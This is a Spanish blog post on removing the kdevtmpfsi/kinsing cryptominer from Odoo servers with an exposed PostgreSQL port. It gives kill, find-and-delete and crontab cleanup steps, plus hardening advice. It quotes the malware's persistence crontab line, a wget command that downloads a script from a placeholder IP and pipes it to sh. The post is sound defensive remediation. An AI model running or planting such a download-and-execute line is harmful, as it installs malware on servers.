Malware en Odoo: kdevtmpfsi

Inauguramos sección con algo que, espero, no sea recurrente. Solución a un posible malware en Odoo, especialmente si somos nosotros los que mantenemos el servidor (o tenemos que hacernos cargo de un servidor ajeno donde no se ha sido tan prolijo). Hoy toca un clásico, el kdevtmpfsi.

¿Hay Malware en Odoo?

Antes de empezar, pequeña aclaración, no tiene que ver con Odoo en si; el sistema es bastante sólido. Pero recordemos que Odoo funciona en un servidor que si está expuesto a sufrir ataques, y que dichos ataques repercuten en Odoo, ya que lo necesita para funcionar. Y también es cierto que esto es raro encontrarlo en OdooSH (no imposible, un dia voy a contar un caso en OdooSH) y es más común en servidores de terceros.

¿Qué es el kdevtmpsfi?

Digamos que es un torpe malware relacionado con PostgreSQL y que podemos encontrarnos si no tenemos cuidado al abrir el puerto 5432 de la base SQL. Estos malware están automatizados, rastrean en las IP la apertura de dicho puerto de forma pública y con cualquier host y lo utilizan como puerta de entrada para molestar. Digamos que es posible que queramos abrir dicho puerto en verdad, quizás necesitamos hacer un análisis con PowerBI o relacionado; pero el malware (al no ser destructivo) ingresa muy fácil a nuestro servidor.

Si nuestro servidor está "infectado" nos vamos a dar cuenta porque Odoo de repente se va a apagar debido a que el 100% de nuestros CPUs están siendo ocupados. Y lo vamos a detectar rápidamente porque en el TOP de procesos nos va a salir el nombre kdevtmpsfi consumiendo todo nuestro procesamiento. Veremos que se referencian a un archivo temporal en la carpeta /tmp pero será inútil borrarlos, volverán.

Solución

Si te ha tocado lidiar con el malware, sabrás que puede ser insistente. Si te está tocando resolverlo, acá van los pasos a seguir:

Primero, revertir todo lo que se hizo en postgres, o lo que es lo mismo, dejar el puerto 5432 cerrado, de ser posible desde un firewall; incluso si el VPS contratado tiene posibilidad de cerrar puertos desde la interfaz, hacerlo inmediatamente. De lo contrario cualquier solución será solo momentánea. Incluso, para los más exigentes, hasta recomiendo cambiarle el puerto desde la configuración de PostgreSQL y en odoo para que el propio sistema no utilice el puerto por defecto.

Ahora si, vamos a frenar la ejecusión del malware y de su contenedor:

pkill -9 -f kdevtmpfsi*
pkill -9 -f kinsing*

 Van a necesitar permisos sudo, y puede que lo encuentren con caracteres al final (siempre revisar con algun software tipo htop el nombre del proceso).

Luego lo eliminamos del disco:

find / -iname kdevtmpfsi* -exec rm -fv {} \;
find / -iname kinsing* -exec rm -fv {} \;

Ahora viene una parte muy variable, porque aunque hagamos todo esto y Odoo levante bien en pocas horas vamos a volver a tener el mismo problema. Los más despiertos se habrán dado cuenta de que se está ejecutando una crontab que lo revive al malware y esto es más dificil de eliminar porque la tenemos que buscar. Nos vamos a dirigir al siguiente directorio:

/var/spool/cron/crontabs

Y vamos a buscar algun archivo crontab con nombre sospechoso, en Odoo siempre lo vi con el nombre postgres, pero tambien se encuentra comúnmente como apache o www-data. Lo importante antes que nada es verificar su contenido, tiene que haber una linea que sea algo asi:

* * * * wget -q -O - http://xxx.xxx.xxx.xxx/lr.sh | sh > /dev/null 2>&1

Donde http://xxx.xxx.xxx.xxx va a ser una IP aleatoria, y si se fijan es un wget que descarga y ejecuta el malware constantemente. Al reiniciar el crontab, vamos a tener el sistema limpio nuevamente.

Otras Medidas

Realmente, muchas veces es poco lo que se puede hacer con estas cosas, pero recomiendo siempre lo normal en implementaciones donde se ejecuta algo tan delicado como Odoo. Para empezar, lo dicho al principio, tratar de no usar los puertos por defecto; incluso el de Odoo puede cambiarse con facilidad y aunque no lo parezca es el principal error en muchos casos. Otra cosa que suele pasar, al instalar Odoo solemos instalar el wget para traernos algunas dependencias extras. Lo más probable es que no lo usemos nunca más, entonces, ¿por qué lo dejamos instalado? Es un gran comando pero puede generar este tipo de problemas (lo mismo pasa con curl). Finalmente, tomarnos el tiempo para habilitar el firewall.

Entradas Relacionadas

# odoo
Malware en Odoo: kdevtmpfsi
Ignacio Buioli 6 de octubre de 2023
3 min. de lectura
Compartir
Categorías
Archivar